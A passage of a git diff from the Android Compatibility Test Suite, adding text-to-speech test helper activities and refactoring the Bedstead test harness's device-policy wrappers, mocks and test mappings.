             .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
@@ -81,4 +80,8 @@
             }
         });
     }
+
+    private static boolean isLaunchedBeforeS() {
+        return Math.min(getFirstApiLevel(), getVendorApiLevel()) < VERSION_CODES.S;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 23477c2..bcc8ce9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -139,7 +139,8 @@
                 && sSDKLevel < android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) {
             return false;
         }
-        return true;
+        // TODO: revert when b/228227212 is fixed (underlying cause of b/204831731)
+        return false;
     }
 
     @Override
diff --git a/apps/PermissionApp/src/com/android/cts/permission/permissionapp/PermissionActivity.java b/apps/PermissionApp/src/com/android/cts/permission/permissionapp/PermissionActivity.java
index 01b60d3..3d74c7b 100644
--- a/apps/PermissionApp/src/com/android/cts/permission/permissionapp/PermissionActivity.java
+++ b/apps/PermissionApp/src/com/android/cts/permission/permissionapp/PermissionActivity.java
@@ -26,7 +26,7 @@
 /**
  * A simple activity that requests permissions and returns the result.
  */
-public class PermissionActivity extends Activity {
+public final class PermissionActivity extends Activity {
     private static final String TAG = "PermissionActivity";
 
     private static final String ACTION_CHECK_HAS_PERMISSION
diff --git a/apps/TtsTestApp/AndroidManifest.xml b/apps/TtsTestApp/AndroidManifest.xml
index 5fdac07..26616fc 100644
--- a/apps/TtsTestApp/AndroidManifest.xml
+++ b/apps/TtsTestApp/AndroidManifest.xml
@@ -12,5 +12,25 @@
       <category android:name="android.intent.category.DEFAULT" />
     </intent-filter>
   </service>
+  <activity
+        android:name="CheckVoiceData"
+        android:directBootAware="true"
+        android:exported="true"
+        android:theme="@android:style/Theme.NoDisplay">
+      <intent-filter>
+        <action android:name="android.speech.tts.engine.CHECK_TTS_DATA"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+      </intent-filter>
+    </activity>
+    <activity
+        android:name="GetSampleText"
+        android:directBootAware="true"
+        android:exported="true"
+        android:theme="@android:style/Theme.NoDisplay">
+      <intent-filter>
+        <action android:name="android.speech.tts.engine.GET_SAMPLE_TEXT"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+      </intent-filter>
+    </activity>
 </application>
 </manifest>
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
new file mode 100644
index 0000000..aa2367f
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Set;
+
+/** Activity called by the framework to return the list the installable voices. */
+public class CheckVoiceData extends Activity {
+    @Override
+      protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final Set<String> availableVoices = new HashSet<>();
+        availableVoices.add("eng-USA");
+        availableVoices.add("");
+
+        // Populate a test list of languages that are available at the server.
+        final Intent returnVal = new Intent();
+        ArrayList<String> availableVoicesList = new ArrayList<>(availableVoices);
+        returnVal.putStringArrayListExtra(
+                TextToSpeech.Engine.EXTRA_AVAILABLE_VOICES, availableVoicesList);
+
+        // Populate a test list of languages that are unavailable at the server.
+        ArrayList<String> unavailableVoicesList = new ArrayList<>();
+        unavailableVoicesList.add("");
+        returnVal.putStringArrayListExtra(
+                TextToSpeech.Engine.EXTRA_UNAVAILABLE_VOICES, unavailableVoicesList);
+
+        setResult(TextToSpeech.Engine.CHECK_VOICE_DATA_PASS, returnVal);
+        finish();
+    }
+}
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
new file mode 100644
index 0000000..f5c1615
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+/**
+ * Activity called from Settings application to get a
+ * sample string for an example of synthesis.
+ */
+public class GetSampleText extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent resultIntent = new Intent();
+
+        resultIntent.putExtra("sampleText", "sample text");
+        setResult(TextToSpeech.LANG_AVAILABLE, resultIntent);
+        finish();
+    }
+}
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 898f4bd..0db322c 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -49,8 +49,10 @@
     manifest: "latest/AndroidManifest.xml",
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
+    min_sdk_version: "27",
 }
 
 android_test_helper_app {
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 2f5b095..6afa622 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -19,7 +19,8 @@
 DEVICE_INFO_PACKAGE := com.android.compatibility.common.deviceinfo
 DEVICE_INFO_INSTRUMENT := androidx.test.runner.AndroidJUnitRunner
 DEVICE_INFO_USES_LIBRARY := android.test.runner
-DEVICE_INFO_USES_OPTIONAL_LIBRARIES := \
+DEVICE_INFO_USES_OPTIONAL_LIBRARIES += \
+  androidx.window.extensions \
   androidx.window.sidecar
 DEVICE_INFO_PERMISSIONS += \
   android.permission.READ_PHONE_STATE \
diff --git a/common/device-side/bedstead/TEST_MAPPING b/common/device-side/bedstead/TEST_MAPPING
new file mode 100644
index 0000000..089c348
--- /dev/null
+++ b/common/device-side/bedstead/TEST_MAPPING
@@ -0,0 +1,32 @@
+{
+  "presubmit": [
+    {
+      "name": "BedsteadQueryableTest"
+    },
+    {
+      "name": "ActivityContextTest"
+    },
+    {
+      "name": "ActivityContextInstrumentOtherAppTest"
+    }
+  ], "postsubmit": [
+    {
+      "name": "NeneTest"
+    },
+    {
+      "name": "EventLibTest"
+    },
+    {
+      "name": "DeviceAdminAppTest"
+    },
+    {
+      "name": "HarrierTest"
+    },
+    {
+      "name": "RemoteDPCTest"
+    },
+    {
+      "name": "TestAppTest"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/TEST_MAPPING b/common/device-side/bedstead/activitycontext/TEST_MAPPING
deleted file mode 100644
index 16016dc..0000000
--- a/common/device-side/bedstead/activitycontext/TEST_MAPPING
+++ /dev/null
@@ -1,10 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "ActivityContextTest"
-    },
-    {
-      "name": "ActivityContextInstrumentOtherAppTest"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
index 4f63260..d892597 100644
--- a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
+++ b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
@@ -27,10 +27,14 @@
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
 import com.android.compatibility.common.util.ShellIdentityUtils.QuadFunction;
 import com.android.compatibility.common.util.ShellIdentityUtils.TriFunction;
 
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
 import java.util.function.BiFunction;
 import java.util.function.Consumer;
@@ -68,45 +72,58 @@
         if (runnable == null) {
             throw new NullPointerException();
         }
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
 
-        if (!instrumentation.getContext().getPackageName().equals(
-                instrumentation.getTargetContext().getPackageName())) {
-            throw new IllegalStateException("ActivityContext can only be used in test apps which"
-                    + " instrument themselves. Consider ActivityScenario for this case.");
-        }
+        // As we show an Activity we must be in the foreground
+        UserReference currentUser = TestApis.users().current();
+        try {
+            TestApis.users().instrumented().switchTo();
 
-        synchronized (ActivityContext.class) {
-            sRunnable = runnable;
+            Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
 
-            sLatch = new CountDownLatch(1);
-            sReturnValue = null;
-            sThrowValue = null;
-
-            Intent intent = new Intent();
-            intent.setClass(sContext, ActivityContext.class);
-            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-            sContext.startActivity(intent);
-        }
-
-        sLatch.await();
-
-        synchronized (ActivityContext.class) {
-            sRunnable = null;
-
-            if (sThrowValue != null) {
-                if (sThrowValue instanceof RuntimeException) {
-                    throw (RuntimeException) sThrowValue;
-                }
-
-                if (sThrowValue instanceof Error) {
-                    throw (Error) sThrowValue;
-                }
-
-                throw new IllegalStateException("Invalid value for sThrowValue");
+            if (!instrumentation.getContext().getPackageName().equals(
+                    instrumentation.getTargetContext().getPackageName())) {
+                throw new IllegalStateException(
+                        "ActivityContext can only be used in test apps which instrument themselves."
+                                + " Consider ActivityScenario for this case.");
             }
 
-            return (E) sReturnValue;
+            synchronized (ActivityContext.class) {
+                sRunnable = runnable;
+
+                sLatch = new CountDownLatch(1);
+                sReturnValue = null;
+                sThrowValue = null;
+
+                Intent intent = new Intent();
+                intent.setClass(sContext, ActivityContext.class);
+                intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+                sContext.startActivity(intent);
+            }
+
+            if (!sLatch.await(5, TimeUnit.MINUTES)) {
+                throw new NeneException("Timed out while waiting for lambda with context to"
+                        + " complete.");
+            }
+
+            synchronized (ActivityContext.class) {
+                sRunnable = null;
+
+                if (sThrowValue != null) {
+                    if (sThrowValue instanceof RuntimeException) {
+                        throw (RuntimeException) sThrowValue;
+                    }
+
+                    if (sThrowValue instanceof Error) {
+                        throw (Error) sThrowValue;
+                    }
+
+                    throw new IllegalStateException("Invalid value for sThrowValue");
+                }
+
+                return (E) sReturnValue;
+            }
+        } finally {
+            currentUser.switchTo();
         }
     }
 
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml
index ba3d598..bcb34e6 100644
--- a/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml
@@ -23,6 +23,6 @@
         <uses-library android:name="android.test.runner" />
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.EmptyTestApp"
+                     android:targetPackage="com.android.bedstead.testapp.EmptyTestApp"
                      android:label="Activity Context Tests" />
 </manifest>
diff --git a/common/device-side/bedstead/deviceadminapp/TEST_MAPPING b/common/device-side/bedstead/deviceadminapp/TEST_MAPPING
deleted file mode 100644
index 364e9b7..0000000
--- a/common/device-side/bedstead/deviceadminapp/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "DeviceAdminAppTests"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml b/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml
index 0e8a2e7..1c2b2d4 100644
--- a/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml
+++ b/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml
@@ -24,5 +24,6 @@
         <disable-keyguard-features />
         <force-lock />
         <limit-password />
+        <disable-camera />
     </uses-policies>
 </device-admin>
\ No newline at end of file
diff --git a/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java b/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java
index 3f5d572..9899cb3 100644
--- a/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java
+++ b/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java
@@ -40,8 +40,7 @@
 @RunWith(JUnit4.class)
 public class DeviceAdminAppTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
@@ -57,8 +56,8 @@
     @RequireRunOnPrimaryUser
     // TODO(scottjonathan): Add annotations to ensure no accounts and no users
     public void setAsDeviceOwner_isEnabled() throws Exception {
-        try (DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(
-                sDeviceState.primaryUser(), DeviceAdminApp.deviceAdminComponentName(sContext))) {
+        try (DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(
+                DeviceAdminApp.deviceAdminComponentName(sContext))) {
 
             EventLogs<DeviceAdminEnabledEvent> logs =
                     DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName());
@@ -70,13 +69,13 @@
     @RequireRunOnPrimaryUser
     @EnsureHasNoWorkProfile
     public void setAsProfileOwner_isEnabled() {
-        try (UserReference profile = sTestApis.users().createUser()
-                .parent(sTestApis.users().instrumented())
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+        try (UserReference profile = TestApis.users().createUser()
+                .parent(TestApis.users().instrumented())
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
                 .createAndStart()) {
-            sTestApis.packages().find(sContext.getPackageName()).install(profile);
+            TestApis.packages().find(sContext.getPackageName()).installExisting(profile);
 
-            sTestApis.devicePolicy().setProfileOwner(
+            TestApis.devicePolicy().setProfileOwner(
                     profile, DeviceAdminApp.deviceAdminComponentName(sContext));
 
             EventLogs<DeviceAdminEnabledEvent> logs =
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
index 8b259a5..467d30c 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
@@ -126,13 +126,13 @@
             return;
         }
         if (value instanceof PrivateKey) {
-            if (!(value instanceof Parcelable)) {
-                throw new IllegalArgumentException("PrivateKey is not Parcelable: "  + value);
+            if (!(value instanceof Serializable)) {
+                throw new IllegalArgumentException("PrivateKey is not Serializable: "  + value);
             }
             logMarshalling("Adding PrivateKey", index, extraTypeName, TYPE_PRIVATE_KEY,
                     extraValueName, value);
             intent.putExtra(extraTypeName, TYPE_PRIVATE_KEY);
-            intent.putExtra(extraValueName, (Parcelable) value);
+            intent.putExtra(extraValueName, (Serializable) value);
             return;
         }
         if ((value instanceof Parcelable)) {
@@ -144,6 +144,9 @@
         }
 
         if (value instanceof Certificate) {
+            if (!(value instanceof Serializable)) {
+                throw new IllegalArgumentException("Certificate is not Serializable: "  + value);
+            }
             logMarshalling("Adding Certificate", index, extraTypeName, TYPE_CERTIFICATE,
                     extraValueName, value);
             intent.putExtra(extraTypeName, TYPE_CERTIFICATE);
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
index 653b5d1..cfab6f3 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
@@ -104,7 +104,9 @@
                         "Could not find method " + methodName + " using reflection"));
                 return true;
             }
-            Object manager = context.getSystemService(managerClass);
+            Object manager = managerClass.equals(GenericManager.class)
+                    ? new GenericManagerImpl(context)
+                    : context.getSystemService(managerClass);
             // Must handle in a separate thread as some APIs will fail when called from main's
             Object result = callOnHandlerThread(() -> method.invoke(manager, args));
 
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
index d259b4a..9e3a9b1 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -280,6 +280,17 @@
             // Used by TrustAgentInfoTest
             doAnswer(answer).when(spy).getTrustAgentConfiguration(any(), any());
 
+            // Used by BackupServiceActiveTest
+            doAnswer(answer).when(spy).setBackupServiceEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).isBackupServiceEnabled(any());
+
+            // Used by PendingSystemUpdateTest
+            doAnswer(answer).when(spy).notifyPendingSystemUpdate(anyLong());
+            doAnswer(answer).when(spy).getPendingSystemUpdate(any());
+
+            // Used by AffiliationTest (GTS)
+            doAnswer(answer).when(spy).getAffiliationIds(any());
+
             // TODO(b/176993670): add more methods below as tests are converted
         } catch (Exception e) {
             // Should never happen, but needs to be catch as some methods declare checked exceptions
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManager.java
similarity index 62%
copy from common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
copy to common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManager.java
index d314565..aed8cd3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManager.java
@@ -13,17 +13,18 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.bedstead.dpmwrapper;
 
-package com.android.bedstead.nene.packages;
-
-import com.android.bedstead.nene.TestApis;
+import android.provider.Settings.SettingNotFoundException;
 
 /**
- * Default implementation of {@link PackageReference} used when we haven't fetched information from
- * the device.
+ * Generic manager used for use cases that are not handled by existing ones.
+ *
  */
-public final class UnresolvedPackage extends PackageReference {
-    UnresolvedPackage(TestApis testApis, String packageName) {
-        super(testApis, packageName);
-    }
+public interface GenericManager {
+
+    /**
+     * Gets a {@link android.provider.Settings.Secure} integer setting.
+     */
+    int getSecureIntSettings(String setting) throws SettingNotFoundException;
 }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
new file mode 100644
index 0000000..b17404b
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.provider.Settings;
+import android.provider.Settings.SettingNotFoundException;
+import android.util.Log;
+
+final class GenericManagerImpl implements GenericManager {
+
+    private static final String TAG = GenericManagerImpl.class.getSimpleName();
+
+    private String mUser;
+    private final ContentResolver mContentResolver;
+
+    GenericManagerImpl(Context context) {
+        try  {
+            mUser = String.valueOf(context.getUser().getIdentifier());
+        } catch (Throwable e) {
+            Log.w(TAG, "Error while extracting User data from " + context + " : " + e);
+            mUser = "N/A";
+        }
+        mContentResolver = context.getContentResolver();
+    }
+
+    @Override
+    public int getSecureIntSettings(String setting) throws SettingNotFoundException {
+        int value = Settings.Secure.getInt(mContentResolver, setting);
+        Log.d(TAG, "getSecureIntSettings(" + setting + ") for user " + mUser + ": " + value);
+        return value;
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerWrapper.java
new file mode 100644
index 0000000..61caefc
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerWrapper.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.when;
+
+import android.content.Context;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.ServiceManagerWrapper;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.util.HashMap;
+
+final class GenericManagerWrapper extends ServiceManagerWrapper<GenericManager> {
+
+    private static final String TAG = GenericManagerWrapper.class.getSimpleName();
+
+    private static final HashMap<Context, GenericManager> sMocks = new HashMap<>();
+
+    @Override
+    GenericManager getWrapper(Context context, GenericManager manager, Answer<?> answer) {
+        int userId = context.getUserId();
+        GenericManager mock = sMocks.get(context);
+        if (mock != null) {
+            Log.d(TAG, "get(): returning cached mock for user " + userId);
+            return mock;
+        }
+
+        mock = Mockito.mock(GenericManager.class);
+        String mockString = "GenericManagerWrapper#" + System.identityHashCode(mock);
+        Log.d(TAG, "get(): creatied mock for user " + context.getUserId() + ": " + mockString);
+
+        // TODO(b/176993670): given that GenericManager is an interface, we could dynamilly mock all
+        // methods (for example, using Java's DynamicProxy), but given that DpmWrapper will
+        // eventually go away, it's not worth the effort
+        try {
+            when(mock.toString()).thenReturn(mockString);
+            when(mock.getSecureIntSettings(any())).thenAnswer(answer);
+        } catch (Exception e) {
+            // Should never happen, but needs to be catch as some methods declare checked exceptions
+            Log.wtf("Exception setting mocks", e);
+        }
+
+        sMocks.put(context, mock);
+        Log.d(TAG, "get(): returning new mock for context " + context + " and user " + userId);
+
+        return mock;
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/HardwarePropertiesManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/HardwarePropertiesManagerWrapper.java
index 4fae06a..0da5df3 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/HardwarePropertiesManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/HardwarePropertiesManagerWrapper.java
@@ -17,6 +17,7 @@
 
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
 
 import android.content.Context;
 import android.os.HardwarePropertiesManager;
@@ -46,14 +47,17 @@
             return spy;
         }
 
-        Log.d(TAG, "get(): creating spy for user " + context.getUserId());
         spy = Mockito.spy(manager);
+        String spyString = "HardwarePropertiesManagerWrapper#" + System.identityHashCode(spy);
+        Log.d(TAG, "get(): created spy for user " + context.getUserId() + ": " + spyString);
 
         // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
         // but that's probably not doable, as there is no contract (such as an interface) to specify
         // which ones should be spied and which ones should not (in fact, if there was an interface,
         // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
         try {
+            doReturn(spyString).when(spy).toString();
+
             // Used by HardwarePropertiesManagerTest
             doAnswer(answer).when(spy).getCpuUsages();
             doAnswer(answer).when(spy).getDeviceTemperatures(anyInt(), anyInt());
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
index e4d5ea6..959d257 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
@@ -37,7 +37,16 @@
      */
     public static void registerTestCaseReceiver(Context context, BroadcastReceiver receiver,
             IntentFilter filter) {
-        if (isCurrentUserOnHeadlessSystemUser(context)) {
+        registerTestCaseReceiver(context, receiver, filter, /* forDeviceOwner= */ true);
+    }
+
+    /**
+     * Called by test case to register a {@link BrodcastReceiver} to receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void registerTestCaseReceiver(Context context, BroadcastReceiver receiver,
+            IntentFilter filter, boolean forDeviceOwner) {
+        if (forDeviceOwner && isCurrentUserOnHeadlessSystemUser(context)) {
             TestAppCallbacksReceiver.registerReceiver(context, receiver, filter);
             return;
         }
@@ -51,7 +60,16 @@
      * device owner's {@link android.app.admin.DeviceAdminReceiver}.
      */
     public static void unregisterTestCaseReceiver(Context context, BroadcastReceiver receiver) {
-        if (isCurrentUserOnHeadlessSystemUser(context)) {
+        unregisterTestCaseReceiver(context, receiver, /* forDeviceOwner= */ true);
+    }
+
+    /**
+     * Called by test case to unregister a {@link BrodcastReceiver} that receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void unregisterTestCaseReceiver(Context context, BroadcastReceiver receiver,
+            boolean forDeviceOwner) {
+        if (forDeviceOwner && isCurrentUserOnHeadlessSystemUser(context)) {
             TestAppCallbacksReceiver.unregisterReceiver(context, receiver);
             return;
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 5b79ddf..218610e 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -79,36 +79,48 @@
      * Gets the proper {@link DevicePolicyManager} instance to be used by the test.
      */
     public static DevicePolicyManager getDevicePolicyManager(Context context,
-            Class<? extends BroadcastReceiver> receiverClass) {
-        return getSystemService(context, DevicePolicyManager.class, receiverClass);
+            Class<? extends BroadcastReceiver> receiverClass, boolean forDeviceOwner) {
+        return getSystemService(context, DevicePolicyManager.class, receiverClass, forDeviceOwner);
     }
 
     /**
-     * Gets the proper {@link WifiManager} instance to be used by the test.
+     * Gets the proper {@link WifiManager} instance to be used by device owner tests.
      */
     public static WifiManager getWifiManager(Context context,
             Class<? extends BroadcastReceiver> receiverClass) {
-        return getSystemService(context, WifiManager.class, receiverClass);
+        return getSystemService(context, WifiManager.class, receiverClass,
+                /* forDeviceOwner= */ true);
     }
 
     /**
-     * Gets the proper {@link HardwarePropertiesManager} instance to be used by the test.
+     * Gets the proper {@link HardwarePropertiesManager} instance to be used by device owner tests.
      */
     public static HardwarePropertiesManager getHardwarePropertiesManager(Context context,
             Class<? extends BroadcastReceiver> receiverClass) {
